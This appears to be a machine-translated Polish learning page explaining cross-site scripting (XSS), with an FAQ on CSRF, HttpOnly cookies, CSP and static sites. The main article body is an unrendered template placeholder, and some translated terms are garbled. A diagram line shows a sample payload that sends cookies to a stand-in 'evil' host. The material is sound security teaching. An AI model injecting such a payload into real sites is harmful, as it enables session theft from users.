trusted-site.comcomment:<script>fetch('evil', cookies)</script>script runs in victim's browserwith the site's privileges

Skrypty między witrynami (XSS)

11 min. przeczytajBezpieczeństwo

Cross-site scripting to luka w zabezpieczeniach, polegająca na tym, że osoba atakująca wstrzykuje JavaScript, który działa w przeglądarce innego użytkownika, tak jakby był częścią legalnej witryny. Szkody sięgają od kradzieży plików cookie sesji po wykonywanie wywołań API w imieniu ofiary. XSS znajduje się w pierwszej dziesiątce OWASP od dwudziestu lat i nic nie wskazuje na to, aby miał ją opuścić.

Poniżej znajduje się pełna treść artykułu w języku angielskim.

pages.learningArticles.cross-site-scripting.bodyHtml

Często zadawane pytania

Czy XSS jest nadal aktualny?
Tak. Ostatnie badania OWASP pokazują, że XSS występuje w prawie każdej aplikacji internetowej. Nowoczesne frameworki zmniejszyły częstotliwość, ale długi ogon starszych aplikacji, niestandardowego kodu i przypadków brzegowych sprawia, że ​​XSS jest jedną z najczęściej zgłaszanych luk w zabezpieczeniach internetowych. Platformy Bug Bounty widzą setki raportów XSS tygodniowo.
Jaka jest różnica między XSS a CSRF?
XSS wstrzykuje złośliwy kod do zaufanej witryny, wykonując ją z uprawnieniami witryny. CSRF (Cross-Site Request Forgery) oszukuje przeglądarkę ofiary, aby wysłała żądanie do zaufanej witryny z innego źródła, korzystając z sesji ofiary. Brzmią podobnie, ale mają różne mechanizmy i mechanizmy obronne.
Czy plik cookie HttpOnly chroni przed XSS?
Częściowo. HttpOnly uniemożliwia JavaScriptowi odczytanie pliku cookie za pośrednictwem document.cookie, pokonując ataki polegające na eksfiltracji plików cookie. Ładunek XSS może nadal wysyłać uwierzytelnione żądania, ponieważ przeglądarka automatycznie wysyła plik cookie — HttpOnly zatrzymuje jedną konkretną klasę uszkodzeń, a nie szerszy atak.
Czy dostawca usług internetowych może całkowicie wyeliminować XSS?
Ścisły CSP (nieoparty na danych, bez „niebezpiecznych inline” lub „niebezpiecznych ewaluacji”) jest najbliższy złotemu rozwiązaniu. Nie zapobiega to samemu wstrzyknięciu, ale uniemożliwia wykonanie wstrzykniętego ładunku. W połączeniu z ucieczką danych wyjściowych w aplikacji, ścisłe CSP sprawia, że ​​praktyczna eksploatacja XSS jest bardzo trudna.
Czy witryny statyczne są odporne?
Nie całkowicie. XSS oparty na DOM nadal działa w witrynach statycznych, jeśli ich JS po stronie klienta używa parametrów URL w sposób niebezpieczny. Witryny wykorzystujące czysty HTML bez JavaScriptu nie obsługują XSS. Większość nowoczesnych „witryn statycznych” używa wystarczającej liczby JavaScript, więc XSS jest możliwym (choć rzadkim) problemem.
Wyjaśnienie skryptów między witrynami (XSS): luka w zabezpieczeniach każdej aplikacji internetowej